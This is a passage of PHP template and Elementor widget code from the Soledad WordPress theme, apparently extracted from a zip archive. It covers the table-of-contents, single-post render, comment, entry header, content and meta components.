                            <li class="toc-list-item"><a href="#" class="toc-link node-name--H3 ">Child name - 2</a>
                                <ol class="toc-list  is-collapsible is-collapsed">
                                    <li class="toc-list-item"><a href="#" class="toc-link node-name--H4 ">Sub Child name
                                            - 1</a></li>
                                    <li class="toc-list-item"><a href="#"
                                                                 class="toc-link node-name--H4 ">Sub Child name - 2</a>
                                    </li>
                                    <li class="toc-list-item"><a href="#"
                                                                 class="toc-link node-name--H4 ">Sub Child name - 3</a>
                                    </li>
                                </ol>
                            </li>
                        </ol>
                    </li>
                    <li class="toc-list-item"><a href="#" class="toc-link node-name--H2 ">Parent Title</a>
                    </li>
                </ol>
            </nav>
        </div>
		<?php
	}

	protected function builder_content() {
		$settings      = $this->get_settings();
		$tags          = $settings['html_tag'];
		$marker        = $settings['marker_view'];
		$validate_tags = is_array( $tags ) ? implode( ',', $settings['html_tag'] ) : $settings['html_tag'];
		wp_enqueue_script( 'penci-toc', PENCI_SOLEDAD_URL . '/js/jquery.toc.js', '', PENCI_SOLEDAD_VERSION, true );
		wp_add_inline_script( 'penci-toc', 'jQuery(".js-toc").toc({content: "div.post-entry", headings: "' . $validate_tags . '"})' );
		?>
        <div class="penci-toc-wrapper style-<?php echo esc_attr( $marker ); ?>">
            <div class="penci-toc-head"><?php echo esc_attr( $settings['heading_title'] ); ?></div>
            <nav class="penci-toc">
                <ul class="js-toc"></ul>
            </nav>
        </div>
		<?php
	}
}
PK     N\=(      /  inc/template-builder/single-elements/render.phpnu [        <?php
add_filter( 'body_class', function ( $class ) {
	$class[] = 'pccustom-template-enable';

	return $class;
} );
get_header();
penci_set_post_views(get_the_ID());
// load next posts
$postID            = get_the_ID();
$current_permalink = get_permalink( $postID );
$current_title     = get_the_title( $postID );
$infinite_load     = get_theme_mod( 'penci_loadnp_posts' ) ? get_theme_mod( 'penci_loadnp_posts' ) : false;
$prev_post_id      = $prev_post_url = $prev_post_title = $wrap_inficlass = $flag_infi = '';
$data_infiads      = get_theme_mod( 'penci_loadnp_ads' ) ? '<div class="penci-single-infiads">' . get_theme_mod( 'penci_loadnp_ads' ) . '</div>' : '';
if ( get_theme_mod( 'penci_loadnp_posts' ) ) {
	$prev_post = penci_get_next_prev_posts();
	$flag_infi = 'no_data';
	if ( ! empty( $prev_post ) && $prev_post != null && $prev_post != '' ) {
		$prev_post_id    = $prev_post->ID;
		$prev_post_url   = get_permalink( $prev_post_id );
		$prev_post_title = get_the_title( $prev_post_id );
		$wrap_inficlass  = ' penci-single-infiscroll';
		$flag_infi       = 'has_data';
	}
}
?>
<div class="container-single-page penci-single-wrapper<?php echo $wrap_inficlass; ?>"<?php if ( get_theme_mod( 'penci_loadnp_posts' ) && $data_infiads ) {
	echo ' data-infiads="' . htmlentities( $data_infiads ) . '"';
} ?>>
    <div id="main" class="penci-custom-single-template penci-single-block<?php if ( $flag_infi == 'no_data' ) {
		echo ' penci-single-infiblock-end';
	} ?>"<?php if ( get_theme_mod( 'penci_loadnp_posts' ) ): ?>
        data-prev-url="<?php echo esc_url( $prev_post_url ); ?>"
        data-current-url="<?php echo esc_url( $current_permalink ); ?>"
        data-post-title="<?php echo esc_attr( $current_title ); ?>"
        data-edit-post="<?php echo get_edit_post_link( $postID ); ?>"
        data-postid="<?php echo $postID; ?>"<?php endif; ?>>
		<?php
		$html      = '';
		$post_template_id = penci_should_render_single_template();
		if ( $post_template_id ) {

			if ( did_action( 'elementor/loaded' ) && \Elementor\Plugin::$instance->documents->get( $post_template_id )->is_built_with_elementor() ) {


				if ( have_posts() ) : while ( have_posts() ) : the_post();
					$html = penci_get_elementor_content( $post_template_id );
				endwhile;endif;

				echo $html;
			} else {
				$builder_content = get_post( $post_template_id );
				echo '<div class="js-composer-content">';
				echo do_shortcode( $builder_content->post_content );

				$shortcodes_custom_css = get_post_meta( $post_template_id, '_wpb_shortcodes_custom_css', true );

				echo '<style data-type="vc_shortcodes-custom-css">';
				if ( ! empty( $shortcodes_custom_css ) ) {
					echo $shortcodes_custom_css;
				}
				echo '</style>';
				echo '</div>';
			}
		}
		?>
    </div>
</div>
<?php if ( get_theme_mod( 'penci_loadnp_posts' ) && $flag_infi != 'no_data' ) { ?>
    <div class="penci-ldsingle">
        <div class="penci-ldspinner">
            <div class="bounce1"></div>
            <div class="bounce2"></div>
            <div class="bounce3"></div>
        </div>
    </div>
<?php } ?>
<?php get_footer(); ?>
PK     N\Ǎ;  ;  9  inc/template-builder/single-elements/comment-template.phpnu [        <?php
// Get numbers comments
$comment_numbers = get_comments_number();
$hide_count      = 0;
if ( get_theme_mod( 'penci_single_comments_remove_name' ) ) {
	$hide_count += 1;
}
if ( get_theme_mod( 'penci_single_comments_remove_email' ) ) {
	$hide_count += 1;
}
if ( get_theme_mod( 'penci_single_comments_remove_website' ) ) {
	$hide_count += 1;
}
?>
<div class="post-comments<?php if ( $comment_numbers == 0 ): echo ' no-comment-yet'; endif;
echo ' penci-comments-hide-' . $hide_count; ?>" id="comments">
	<?php
	if ( have_comments() ) :
		if ( $GLOBALS['penci_custom_heading'] != 'yes' ) {
			echo '<div class="post-title-box"><h4 class="post-box-title">';
			comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) );
			echo '</h4></div>';
		}

		echo "<div class='comments'>";
		wp_list_comments( array(
			'avatar_size' => 100,
			'max_depth'   => 5,
			'style'       => 'div',
			'callback'    => 'penci_comments_template',
			'type'        => 'all'
		) );
		echo "</div>";

		echo "<div id='comments_pagination'>";
		paginate_comments_links( array( 'prev_text' => '&laquo;', 'next_text' => '&raquo;' ) );
		echo "</div>";

	endif;

	// If comments are closed and there are comments, let's leave a little note.
	if ( ! comments_open() && get_comments_number() && post_type_supports( get_post_type(), 'comments' ) ) :
		?>
        <p class="no-comments"><?php echo penci_get_setting( 'penci_trans_comments_closed' ); ?></p>
	<?php endif;
	?>
</div> <!-- end comments div -->
PK     N\Y "   "  5  inc/template-builder/single-elements/entry-header.phpnu [        <?php
$move_title_bellow    = false;
$avatar               = $args['penci_single_author_avatar'];
$avatarw              = isset( $args['penci_avatar_w'] ) && $args['penci_avatar_w'] ? $args['penci_avatar_w'] : 32;
$ava_icon_enable      = $args['penci_single_meta_ava_icon_check'];
$ava_icon             = $args['penci_single_meta_ava_icon'];
$date_icon_enable     = $args['penci_single_meta_date_icon_check'];
$date_icon            = $args['penci_single_meta_date_icon'];
$commment_icon_enable = $args['penci_single_meta_comment_icon_check'];
$commment_icon        = $args['penci_single_meta_comment_icon'];
$view_icon_enable     = $args['penci_single_meta_view_icon_check'];
$view_icon            = $args['penci_single_meta_view_icon'];
$reading_icon_enable  = $args['penci_single_meta_reading_icon_check'];
$reading_icon         = $args['penci_single_meta_reading_icon'];
$icon_style           = $args['meta_icon_style'];
$label_text           = $args['hide_meta_label'];
$thumb_alt            = $thumb_title_html = '';
global $post;
?>
<div class="header-standard header-classic single-header">
	<?php if ( ! $args['penci_post_cat'] ) : ?>
        <div class="penci-standard-cat penci-single-cat <?php echo $args['cat_pre_style']; ?>"><span
                    class="cat"><?php penci_category( '' ); ?></span></div>
	<?php endif; ?>

	<?php if ( ! $args['hide_title'] ): ?>
        <h1 class="post-title single-post-title entry-title"><span><?php the_title(); ?></span></h1>
	<?php endif; ?>
	<?php
	if ( ! $args['hide_subtitle'] ) {
		penci_display_post_subtitle();
	}
	?>
	<?php penci_soledad_meta_schema(); ?>
	<?php $hide_readtime = $args['penci_single_hreadtime']; ?>
	<?php if ( ! $args['penci_single_meta_author'] || ! $args['penci_single_meta_date'] || ! $args['penci_single_meta_comment'] || $args['penci_single_show_cview'] || penci_isshow_reading_time( $hide_readtime ) ) : ?>
        <div class="post-box-meta-single style-<?php echo esc_attr( $icon_style ); ?>">
			<?php if ( ! $args['penci_single_meta_author'] ) :
				?>
                <span class="author-post byline">
                                        <span class="author vcard">
                                            <?php
                                            if ( ! $ava_icon_enable && $ava_icon ) {
	                                            echo '<span class="pcmt-icon ava-icon">';
	                                            \Elementor\Icons_Manager::render_icon( $ava_icon );
	                                            echo '</span>';
                                            }
                                            ?>
	                                        <?php if ( ! $label_text ) {
		                                        echo penci_get_setting( 'penci_trans_written_by' );
	                                        } ?>
	                                        <?php
	                                        $author_ids = [];
	                                        $post_author_id = get_post_field( 'post_author', get_the_ID() );
	                                        if ( $post_author_id ) {
		                                        $author_ids[] = $post_author_id;
	                                        }
	                                        if ( function_exists( 'coauthors__echo' ) ) {
		                                        $author_list = coauthors__echo( 'ID', 'field', array(
			                                        'between'     => ',',
			                                        'betweenLast' => ',',
			                                        'before'      => '',
			                                        'after'       => '',
		                                        ), null, false );
		                                        if ( $author_list ) {
			                                        $author_ids = explode( ',', $author_list );
		                                        }
	                                        }
	                                        $total   = count( $author_ids );
	                                        $current = 0;
	                                        foreach ( $author_ids as $author_id ) {
		                                        $current ++;
		                                        ?>

                                                <a class="author-url url fn n"
                                                   href="<?php echo get_author_posts_url( $author_id ); ?>">
                                                <?php
                                                if ( ! $avatar ) {
	                                                echo get_avatar( $author_id, $avatarw );
                                                } else {
	                                                echo $current == 2 ? ', ' : ( ( $current == $total ) ? ' & ' : '' );
                                                }
                                                echo get_the_author_meta( 'display_name', $author_id ); ?>
                                            </a>
	                                        <?php } ?>
                                        </span>
                                    </span>
			<?php endif; ?>
			<?php if ( ! $args['penci_single_meta_date'] ) : ?>
                <span class="pctmp-date-post">
                                <?php
                                if ( ! $date_icon_enable && $date_icon ) {
	                                echo '<span class="pcmt-icon date-icon">';
	                                \Elementor\Icons_Manager::render_icon( $date_icon );
	                                echo '</span>';
                                }
                                ?>
                                <?php penci_soledad_time_link( 'single' ); ?></span>
			<?php endif; ?>
			<?php if ( ! $args['penci_single_meta_comment'] ) :
				?>
                <span class="pctmp-comment-post">
                                    <?php
                                    if ( ! $commment_icon_enable && $commment_icon ) {
	                                    echo '<span class="pcmt-icon comment-icon">';
	                                    \Elementor\Icons_Manager::render_icon( $commment_icon );
	                                    echo '</span>';
                                    }
                                    $comment_text  = ! $label_text ? ' ' . penci_get_setting( 'penci_trans_comment' ) : '';
                                    $comments_text = ! $label_text ? ' ' . penci_get_setting( 'penci_trans_comments' ) : '';
                                    ?>
                                    <?php comments_number( '0' . $comments_text, '1' . $comment_text, '%' . $comments_text ); ?></span>
			<?php endif; ?>
			<?php if ( ! $args['penci_single_show_cview'] ) : ?>
                <span class="pctmp-view-post">
                                    <?php
                                    if ( ! $view_icon_enable && $view_icon ) {
	                                    echo '<span class="pcmt-icon view-icon">';
	                                    \Elementor\Icons_Manager::render_icon( $view_icon );
	                                    echo '</span>';
                                    }
                                    ?>
                                        <i class="penci-post-countview-number"><?php echo penci_get_post_views( get_the_ID() ); ?></i><?php if ( ! $label_text ) {
						echo ' ' . penci_get_setting( 'penci_trans_countviews' );
					} ?></span>
			<?php endif; ?>
			<?php if ( penci_isshow_reading_time( $hide_readtime ) ):
				?>
                <span class="single-readtime">
                                    <?php
                                    if ( ! $reading_icon_enable && $reading_icon ) {
	                                    echo '<span class="pcmt-icon reading-icon">';
	                                    \Elementor\Icons_Manager::render_icon( $reading_icon );
	                                    echo '</span>';
                                    }
                                    ?>
                                    <?php penci_reading_time(); ?></span>
			<?php endif; ?>
			<?php
			if ( get_the_post_thumbnail_caption() && get_theme_mod( 'penci_post_thumb_caption' ) && ! $move_title_bellow ) {
				echo '<span class="penci-featured-caption penci-fixed-caption penci-caption-relative">' . get_the_post_thumbnail_caption() . '</span>';
			}
			?>
        </div>
	<?php endif; ?>
	<?php
	$recipe_title = get_post_meta( get_the_ID(), 'penci_recipe_title', true );
	if ( has_shortcode( get_the_content(), 'penci_recipe' ) || $recipe_title ) {
		do_action( 'penci_recipes_action_hook' );
	} ?>
</div>
PK     N\V`#  #  0  inc/template-builder/single-elements/content.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciSingleContent extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Post - Content', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-post-content';
	}

	public function get_categories() {
		return [ 'penci-single-builder' ];
	}

	public function get_keywords() {
		return [ 'single', 'content' ];
	}

	protected function get_html_wrapper_class() {
		return 'pcsb-mct elementor-widget-' . $this->get_name();
	}

	public function get_name() {
		return 'penci-single-content';
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_control( 'block_style', [
			'label'       => esc_html__( 'Blockquote Style', 'soledad' ),
			'description' => esc_html__( 'blockquote styles just applies when you use Classic Block or Classic Editor', 'soledad' ),
			'type'        => \Elementor\Controls_Manager::SELECT,
			'default'     => 'style-1',
			'options'     => [
				'style-1' => 'Style 1',
				'style-2' => 'Style 2',
				'style-3' => 'Style 3',
				'style-4' => 'Style 4',
				'style-5' => 'Style 5',
			]
		] );

		$this->add_control( 'ct_headingh1_style', [
			'label'   => esc_html__( 'Style for Heading 1', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => '',
			'options' => [
				''        => 'Default (No Style)',
				'style-1' => 'Style 1',
				'style-2' => 'Style 2',
				'style-3' => 'Style 3',
				'style-4' => 'Style 4',
				'style-5' => 'Style 5',
				'style-6' => 'Style 6',
			]
		] );

		$this->add_control( 'ct_headingh2_style', [
			'label'   => esc_html__( 'Style for Heading 2', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => '',
			'options' => [
				''        => 'Default (No Style)',
				'style-1' => 'Style 1',
				'style-2' => 'Style 2',
				'style-3' => 'Style 3',
				'style-4' => 'Style 4',
				'style-5' => 'Style 5',
				'style-6' => 'Style 6',
			]
		] );

		$this->add_control( 'ct_headingh3_style', [
			'label'   => esc_html__( 'Style for Heading 3', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => '',
			'options' => [
				''        => 'Default (No Style)',
				'style-1' => 'Style 1',
				'style-2' => 'Style 2',
				'style-3' => 'Style 3',
				'style-4' => 'Style 4',
				'style-5' => 'Style 5',
				'style-6' => 'Style 6',
			]
		] );

		$this->add_control( 'ct_headingh4_style', [
			'label'   => esc_html__( 'Style for Heading 4', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => '',
			'options' => [
				''        => 'Default (No Style)',
				'style-1' => 'Style 1',
				'style-2' => 'Style 2',
				'style-3' => 'Style 3',
				'style-4' => 'Style 4',
				'style-5' => 'Style 5',
				'style-6' => 'Style 6',
			]
		] );

		$this->add_control( 'ct_headingh5_style', [
			'label'   => esc_html__( 'Style for Heading 5', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => '',
			'options' => [
				''        => 'Default (No Style)',
				'style-1' => 'Style 1',
				'style-2' => 'Style 2',
				'style-3' => 'Style 3',
				'style-4' => 'Style 4',
				'style-5' => 'Style 5',
				'style-6' => 'Style 6',
			]
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'color_style', [
			'label' => esc_html__( 'Color & Styles', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'heading_typo',
			'label'    => __( 'Typography for General Content', 'soledad' ),
			'selector' => '{{WRAPPER}} .post-entry, {{WRAPPER}} .post-entry p, {{WRAPPER}} .post-entry span',
		) );

		$this->add_control( 'main-text-color', [
			'label'     => 'Text Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-entry, {{WRAPPER}} .post-entry p, {{WRAPPER}} .post-entry span' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'main-link-color', [
			'label'     => 'Link Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-entry a' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'main-link-hcolor', [
			'label'     => 'Link Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-entry a:hover' => 'color:{{VALUE}}' ],
		] );

		for ( $i = 1; $i <= 6; $i ++ ) {
			$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
				'name'     => 'heading_typo_h' . $i,
				'label'    => sprintf( __( 'Typography for H%s', 'soledad' ), $i ),
				'selector' => '{{WRAPPER}} .post-entry h' . $i,
			) );
			$this->add_control( "content_h{$i}_color", [
				'label'     => "H{$i} Color",
				'type'      => \Elementor\Controls_Manager::COLOR,
				'selectors' => [ "{{WRAPPER}} .post-entry h{$i}" => 'color:{{VALUE}}' ],
			] );
		}


		$this->end_controls_section();

	}

	protected function render() {
		if ( penci_elementor_is_edit_mode() ) {
			$this->preview_content();
		} else {
			$this->builder_content();
		}
	}

	protected function preview_content() {
		$settings         = $this->get_settings();
		$block_style      = $settings['block_style'];
		$ct_heading_style = $this->penci_get_heading_style();
		?>
        <div class="post-entry <?php echo 'blockquote-' . $block_style; ?> <?php echo $ct_heading_style; ?>">
            <div class="inner-post-entry entry-content" id="penci-post-entry-inner">

				<?php do_action( 'penci_action_before_the_content' ); ?>

                <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Accusamus dolor expedita reiciendis veniam
                    voluptatum? Inventore labore quia quisquam repudiandae rerum unde. Accusantium consectetur
                    distinctio eius esse, necessitatibus quos sint tempore.</p>
                <h2>H2 Heading Tag</h2>
                <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Accusamus dolor expedita reiciendis veniam
                    voluptatum? Inventore labore quia quisquam repudiandae rerum unde. Accusantium consectetur
                    distinctio eius esse, necessitatibus quos sint tempore.</p>
                <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Accusamus dolor expedita reiciendis veniam
                    voluptatum? Inventore labore quia quisquam repudiandae rerum unde. Accusantium consectetur
                    distinctio eius esse, necessitatibus quos sint tempore.</p>
                <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Accusamus dolor expedita reiciendis veniam
                    voluptatum? Inventore labore quia quisquam repudiandae rerum unde. Accusantium consectetur
                    distinctio eius esse, necessitatibus quos sint tempore.</p>

				<?php do_action( 'penci_action_after_the_content' ); ?>

                <div class="penci-single-link-pages">
					<?php wp_link_pages(); ?>
                </div>
            </div>
        </div>
		<?php
	}

	protected function builder_content() {
		$settings         = $this->get_settings();
		$block_style      = $settings['block_style'];
		$ct_heading_style = $this->penci_get_heading_style();
		?>
        <article class="post">
            <div class="post-entry <?php echo 'blockquote-' . $block_style; ?> <?php echo $ct_heading_style; ?>">
                <div class="inner-post-entry entry-content" id="penci-post-entry-inner">

					<?php do_action( 'penci_action_before_the_content' ); ?>

					<?php the_content(); ?>

					<?php do_action( 'penci_action_after_the_content' ); ?>

                    <div class="penci-single-link-pages">
						<?php wp_link_pages(); ?>
                    </div>
                </div>
            </div>
        </article>

		<?php if ( get_theme_mod( 'penci_post_adsense_two' ) ) : ?>
            <div class="penci-google-adsense-2">
				<?php echo do_shortcode( get_theme_mod( 'penci_post_adsense_two' ) ); ?>
            </div>
		<?php endif;
	}

	protected function penci_get_heading_style() {

		$settings = $this->get_settings();

		$css_class = '';

		$h1_style = $settings['ct_headingh1_style'];
		$h2_style = $settings['ct_headingh2_style'];
		$h3_style = $settings['ct_headingh3_style'];
		$h4_style = $settings['ct_headingh4_style'];
		$h5_style = $settings['ct_headingh5_style'];

		if ( $h1_style ) {
			$css_class .= ' heading1-' . $h1_style;
		}

		if ( $h2_style ) {
			$css_class .= ' heading2-' . $h2_style;
		}

		if ( $h3_style ) {
			$css_class .= ' heading3-' . $h3_style;
		}

		if ( $h4_style ) {
			$css_class .= ' heading4-' . $h4_style;
		}

		if ( $h5_style ) {
			$css_class .= ' heading5-' . $h5_style;
		}

		return $css_class;

	}
}
PK     N\4  4  -  inc/template-builder/single-elements/meta.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciSingleMeta extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Post - Meta', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-meta-data';
	}

	public function get_categories() {
		return [ 'penci-single-builder' ];
	}

	public function get_keywords() {
		return [ 'single', 'meta' ];
	}

	protected function get_html_wrapper_class() {
		return 'pcsb-meta elementor-widget-' . $this->get_name();
	}

	public function get_name() {
		return 'penci-single-meta';
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_control( 'meta_align', [
			'label'     => __( 'Meta Text Align', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::CHOOSE,
			'default'   => 'left',
			'options'   => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'toggle'    => true,
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single' => 'text-align:{{VALUE}}' ],
		] );

		$this->add_control( 'hide_meta_label', [
			'label' => __( 'Hide Meta Label Text', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::SWITCHER,
		] );

		$this->add_control( 'justify_align', [
			'label'     => __( 'Justify Align?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single' => 'display:flex;flex-wrap:wrap;justify-content:space-between;' ],
		] );

		$this->add_control( 'remove-divider', [
			'label'     => 'Remove Divider Character',
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single > span:before' => 'display:none' ],
		] );

		$this->add_control( 'meta-item-spacing', [
			'label'      => 'Spacing Between Meta',
			'type'       => \Elementor\Controls_Manager::SLIDER,
			'size_units' => [ 'px' ],
			'range'      => array(
				'px' => array( 'max' => 100 ),
			),
			'selectors'  => [
				'{{WRAPPER}} .post-box-meta-single > span:not(:last-child)' => 'margin-right:{{SIZE}}px;',
			],
		] );

		$this->add_control( 'penci_single_meta_author', [
			'label'     => esc_html__( 'Hide Author?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
		] );

		$this->add_control( 'penci_single_meta_author_update', [
			'label'     => esc_html__( 'Show Latest Update Author?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
		] );

		$this->add_control( 'penci_single_author_avatar', [
			'label'     => esc_html__( 'Hide Author Avatar?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
			'condition' => [ 'penci_single_meta_author!' => 'yes' ],
		] );

		$this->add_control( 'penci_single_author_avatar_br', [
			'label'     => esc_html__( 'Author Borders Radius', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single .avatar' => 'border-radius:{{SIZE}}px' ],
			'condition' => [ 'penci_single_author_avatar!' => 'yes' ],
		] );

		$this->add_control( 'penci_single_author_avatar_sp', [
			'label'     => esc_html__( 'Author Spacing', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single .avatar' => 'margin-left:{{SIZE}}px;margin-right:{{SIZE}}px' ],
			'condition' => [ 'penci_single_author_avatar!' => 'yes' ],
		] );

		$this->add_control( 'penci_avatar_w', [
			'label'     => esc_html__( 'Author Avatar Width', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::NUMBER,
			'default'   => 30,
			'condition' => [ 'penci_single_author_avatar!' => 'yes' ],
		] );

		$this->add_control( 'penci_single_meta_ava_icon_check', [
			'label'     => esc_html__( 'Hide Post Author Icon?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
			'condition' => [ 'penci_single_meta_author!' => 'yes' ],
		] );

		$this->add_control( 'penci_single_meta_date', [
			'label'     => esc_html__( 'Hide Post Date?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
		] );

		$this->add_control( 'penci_single_meta_date_icon_check', [
			'label'     => esc_html__( 'Hide Post Date Icon?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
			'condition' => [ 'penci_single_meta_date!' => 'yes' ],
		] );

		$this->add_control( 'penci_single_meta_comment', [
			'label'     => esc_html__( 'Hide Post Comments?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
		] );

		$this->add_control( 'penci_single_meta_comment_icon_check', [
			'label'     => esc_html__( 'Hide Post Comment Icon?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
			'condition' => [ 'penci_single_meta_comment!' => 'yes' ],
		] );

		$this->add_control( 'penci_single_show_cview', [
			'label'     => esc_html__( 'Hide Post View?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
		] );

		$this->add_control( 'penci_single_meta_view_icon_check', [
			'label'     => esc_html__( 'Hide Post View Icon?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
			'condition' => [ 'penci_single_show_cview!' => 'yes' ],
		] );

		$this->add_control( 'penci_single_hreadtime', [
			'label'     => esc_html__( 'Hide Post Reading Time ?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
		] );

		$this->add_control( 'penci_single_meta_reading_icon_check', [
			'label'     => esc_html__( 'Hide Post Reading Icon?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
			'condition' => [ 'penci_single_hreadtime!' => 'yes' ],
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'icon_settings', [
			'label' => esc_html__( 'Icon Settings', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_control( 'meta_icon_style', [
			'label'   => esc_html__( 'Icon Style', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => 'default',
			'options' => [
				'default' => 'Default',
				's1'      => 'Style 1',
				's2'      => 'Style 2',
				's3'      => 'Style 3',
				's4'      => 'Style 4',
			],
		] );

		$this->add_control( 'meta_icon_size', [
			'label'     => esc_html__( 'Icon Width', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcmt-icon' => 'width: {{SIZE}}px;height: {{SIZE}}px;line-height: {{SIZE}}px;',
			),
		] );

		$this->add_control( 'meta_icon_fsize', [
			'label'     => esc_html__( 'Icon Font Size', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcmt-icon' => 'font-size: {{SIZE}}px;',
			),
		] );

		$this->add_control( 'meta_icon_border', [
			'label'     => esc_html__( 'Icon Borders Radius', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcmt-icon' => 'border-radius: {{SIZE}}px;',
			),
		] );

		$this->add_control( 'meta_icon_borderw', [
			'label'     => esc_html__( 'Icon Borders Width', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 10, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcmt-icon' => 'border-width: {{SIZE}}px;',
			),
		] );

		$this->add_control( 'meta_icon_spacing', [
			'label'     => esc_html__( 'Icon Spacing', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'default'   => array( 'size' => 5 ),
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 50, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcmt-icon'          => 'margin-right: {{SIZE}}px;',
				'body.rtl {{WRAPPER}} .pcmt-icon' => 'margin-left: {{SIZE}}px;margin-right:0;',
			),
		] );

		$this->add_control( 'penci_single_meta_gnr_icon_color', [
			'label'     => esc_html__( 'Icon Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
